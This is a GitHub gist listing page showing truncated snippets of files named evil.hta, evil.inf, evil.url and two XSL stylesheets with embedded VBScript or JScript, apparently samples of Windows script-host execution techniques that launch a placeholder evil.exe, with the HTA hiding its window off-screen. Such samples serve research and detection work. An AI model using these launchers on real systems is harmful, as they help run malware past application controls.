Skip to content

Instantly share code, notes, and snippets.

View fareedfauzi's full-sized avatar
🎯
Focusing

fareedfauzi

🎯
Focusing
View GitHub Profile
@fareedfauzi
fareedfauzi / vbscript.xml
Created December 23, 2019 06:38
XML file
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<msxsl:script language="VBScript" implements-prefix="user">
function myFunction()
set shell=createobject("wscript.shell")
shell.run "evil.exe",0
myFunction = 0
@fareedfauzi
fareedfauzi / jscript.xml
Created December 23, 2019 06:37
XML file
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<!--
From:
https://gist.github.com/subTee/d9380299ff35738723cb44f230ab39a1#file-script-xsl
-->
@fareedfauzi
fareedfauzi / argv1.xml
Created December 23, 2019 06:37
XML file
<a></a>
@fareedfauzi
fareedfauzi / evil.url
Created December 13, 2019 07:39
URL file
[InternetShortcut]
URL=file:///c:\windows\system32\evil.exe
@fareedfauzi
fareedfauzi / evil.inf
Last active December 30, 2019 09:03
INF file
; ----------------------------------------------------------------------
; Required Sections
; ----------------------------------------------------------------------
[Version]
Signature=$CHICAGO$
Provider=test
Class=Printer
[Manufacturer]
HuntressLabs=ModelsSection,NTx86,NTia64,NTamd64
@fareedfauzi
fareedfauzi / evil.hta
Last active December 13, 2019 07:29
HTA file
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "evil.exe"
self.close
</script>